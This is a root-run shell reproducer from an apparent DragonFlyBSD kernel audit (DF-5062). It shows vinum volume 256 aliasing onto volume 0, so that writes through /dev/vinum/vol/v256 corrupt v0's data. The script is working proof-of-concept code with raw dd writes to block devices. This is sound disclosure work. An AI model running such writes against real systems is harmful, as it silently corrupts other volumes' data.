โฌข DragonFlyBSD Kernel Audit
DF-5062 / df5062_volalias.sh
โ† back to finding โ†“ download raw
#!/bin/sh
# DF-5062 โ€” vinum volume minor aliasing: volno >= 256 wraps into VOL[0].
#
# VINUMDEV(v,p,s,t) puts the volume number in the low VINUM_VOL_WIDTH=8 bits
# of the minor. made_vol() (vinumconfig.c:763) creates the /dev/vinum/vol/<name>
# node with VINUMDEV(volno,0,0,VINUM_VOLUME_TYPE) and never checks that the
# volume number fits in 8 bits. Volume #256 gets minor 0x100, which
# Volno() (vinumutil.c:241) decodes as volno 0 โ€” every open/read/write/ioctl on
# /dev/vinum/vol/v256 is served by VOL[0] (volume v0): deterministic
# cross-volume data corruption and wrong-object sizing.
# (makeudev() flags minor 0x100 as NOUDEV for stat purposes โ€” that is why
#  ls -l shows the bogus "255, 0xffff00ff" rdev โ€” but kernel minor() returns
#  the raw si_uminor, so the open path really does reach vinum with 0x100.)
#
# Run as root on the DragonFly guest after pushing: label.bin, this script.
set -x
date
uname -a
export PATH=/sbin:/bin:/usr/sbin:/usr/bin
kldload vinum
sleep 1

# ---- vn0 vnode disk + vinum-typed 'a' partition (label from DF-4592 pack) ----
dd if=/dev/zero of=/tmp/disk.img bs=1m count=32
vnconfig -c vn0 /tmp/disk.img
dd if=/tmp/label.bin of=/dev/vn0 bs=512 seek=1 conv=notrunc
sleep 1
ls /dev/vn0s0a

# ---- drive + volume v0 (1 concat plex, 1 subdisk of 4m) ----
printf 'drive d1 device /dev/vn0s0a\n' > /tmp/df5062_c1
printf 'volume v0\nplex name p0 org concat\nsd name s0 drive d1 len 4m\n' > /tmp/df5062_c2
vinum create -f /tmp/df5062_c1
sleep 2
vinum create -f /tmp/df5062_c2
sleep 3
vinum start v0
sleep 2
vinum l | head -12

# ---- 256 more volumes: v256 is volume number 256 (0-based) ----
: > /tmp/df5062_c3
i=1
while [ $i -le 256 ]; do printf 'volume v%d\n' $i >> /tmp/df5062_c3; i=$((i+1)); done
vinum create -f /tmp/df5062_c3
sleep 3

echo '==== volume device nodes (note v256 minor 0x100 == 256) =========='
ls -l /dev/vinum/vol/v0 /dev/vinum/vol/v255 /dev/vinum/vol/v256

echo '==== DIOCGPART sizing: v256 must report its OWN size (0, no plexes).'
echo '==== On the vulnerable kernel it reports v0 size 4194304 =========='
diskinfo /dev/vinum/vol/v0 2>&1 | head -2
diskinfo /dev/vinum/vol/v256 2>&1 | head -2

echo '==== data aliasing ==============================================='
printf 'AAAA-v0-mark' | dd of=/dev/vinum/vol/v0 bs=512 seek=0 conv=notrunc 2>/dev/null
echo '-- readback via v0 (expect AAAA):'
dd if=/dev/vinum/vol/v0 bs=512 count=1 2>/dev/null | tr -d '\0' | head -c 32; echo
printf 'BBBB-v256-ALIAS' | dd of=/dev/vinum/vol/v256 bs=512 seek=0 conv=notrunc 2>/dev/null
echo '-- readback via v0 (BBBB => writes through v256 landed in v0):'
dd if=/dev/vinum/vol/v0 bs=512 count=1 2>/dev/null | tr -d '\0' | head -c 32; echo
echo '-- readback via v256:'
dd if=/dev/vinum/vol/v256 bs=512 count=1 2>/dev/null | tr -d '\0' | head -c 32; echo
echo '==== summary ======================================================'
vinum l | head -8
dmesg | tail -5
date
echo DONE_DF5062